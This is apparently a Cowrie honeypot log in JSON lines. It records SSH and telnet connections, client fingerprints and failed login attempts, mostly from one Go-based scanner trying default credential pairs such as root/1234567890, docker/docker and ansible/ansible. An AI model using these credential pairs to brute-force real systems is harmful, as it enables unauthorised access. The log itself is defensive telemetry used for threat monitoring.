{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:20.389407Z","src_ip":"193.151.144.93","session":"d8b476ba4112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:20.888513Z","src_ip":"193.151.144.93","session":"d8b476ba4112","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33086,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ead1b0dd1cb","protocol":"telnet","message":"New connection: 69.4.83.194:33086 (159.203.135.109:23) [session: 7ead1b0dd1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:20.951667Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:22.904976Z","src_ip":"193.151.144.93","session":"d8b476ba4112","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":42084,"dst_ip":"10.17.0.5","dst_port":22,"session":"75e726edeb40","protocol":"ssh","message":"New connection: 193.151.144.93:42084 (10.17.0.5:22) [session: 75e726edeb40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:25.678922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:25.684836Z","src_ip":"193.151.144.93","session":"75e726edeb40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:25.853864Z","src_ip":"193.151.144.93","session":"75e726edeb40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:26.394656Z","src_ip":"193.151.144.93","session":"75e726edeb40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:27.563810Z","src_ip":"193.151.144.93","session":"75e726edeb40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":49660,"dst_ip":"159.203.135.109","dst_port":22,"session":"a76ca74530de","protocol":"ssh","message":"New connection: 43.242.203.160:49660 (159.203.135.109:22) [session: a76ca74530de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:30.549746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:30.555245Z","src_ip":"43.242.203.160","session":"a76ca74530de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:30.787786Z","src_ip":"43.242.203.160","session":"a76ca74530de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":45854,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ebd2e042a94","protocol":"ssh","message":"New connection: 193.151.144.93:45854 (10.17.0.5:22) [session: 9ebd2e042a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:31.174176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:31.179508Z","src_ip":"193.151.144.93","session":"9ebd2e042a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:31.344322Z","src_ip":"193.151.144.93","session":"9ebd2e042a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:31.701477Z","src_ip":"43.242.203.160","session":"a76ca74530de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:31.943536Z","src_ip":"193.151.144.93","session":"9ebd2e042a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:32.922240Z","src_ip":"43.242.203.160","session":"a76ca74530de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:33.109797Z","src_ip":"193.151.144.93","session":"9ebd2e042a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":45868,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d7270dbc222","protocol":"ssh","message":"New connection: 193.151.144.93:45868 (10.17.0.5:22) [session: 4d7270dbc222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:36.929329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:36.958838Z","src_ip":"193.151.144.93","session":"4d7270dbc222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:37.096657Z","src_ip":"193.151.144.93","session":"4d7270dbc222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:37.772217Z","src_ip":"193.151.144.93","session":"4d7270dbc222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:38.943583Z","src_ip":"193.151.144.93","session":"4d7270dbc222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":42718,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c27c1907a09","protocol":"ssh","message":"New connection: 193.151.144.93:42718 (10.17.0.5:22) [session: 9c27c1907a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:42.560459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:42.565845Z","src_ip":"193.151.144.93","session":"9c27c1907a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:42.740411Z","src_ip":"193.151.144.93","session":"9c27c1907a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:43.263094Z","src_ip":"193.151.144.93","session":"9c27c1907a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:45.310103Z","src_ip":"193.151.144.93","session":"9c27c1907a09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":42724,"dst_ip":"10.17.0.5","dst_port":22,"session":"e734b6c27804","protocol":"ssh","message":"New connection: 193.151.144.93:42724 (10.17.0.5:22) [session: e734b6c27804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:48.343968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:48.349408Z","src_ip":"193.151.144.93","session":"e734b6c27804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:48.515431Z","src_ip":"193.151.144.93","session":"e734b6c27804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:49.014945Z","src_ip":"193.151.144.93","session":"e734b6c27804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:50.184021Z","src_ip":"193.151.144.93","session":"e734b6c27804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.94789958000183,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:53.899415Z","src_ip":"69.4.83.194","session":"7ead1b0dd1cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":51048,"dst_ip":"10.17.0.5","dst_port":22,"session":"0413015ff990","protocol":"ssh","message":"New connection: 193.151.144.93:51048 (10.17.0.5:22) [session: 0413015ff990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:54.006599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:54.010902Z","src_ip":"193.151.144.93","session":"0413015ff990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:54.182692Z","src_ip":"193.151.144.93","session":"0413015ff990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:54.754751Z","src_ip":"193.151.144.93","session":"0413015ff990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:15:55.930112Z","src_ip":"193.151.144.93","session":"0413015ff990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":51062,"dst_ip":"10.17.0.5","dst_port":22,"session":"3175f9af5b37","protocol":"ssh","message":"New connection: 193.151.144.93:51062 (10.17.0.5:22) [session: 3175f9af5b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:00.023242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:00.029313Z","src_ip":"193.151.144.93","session":"3175f9af5b37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecd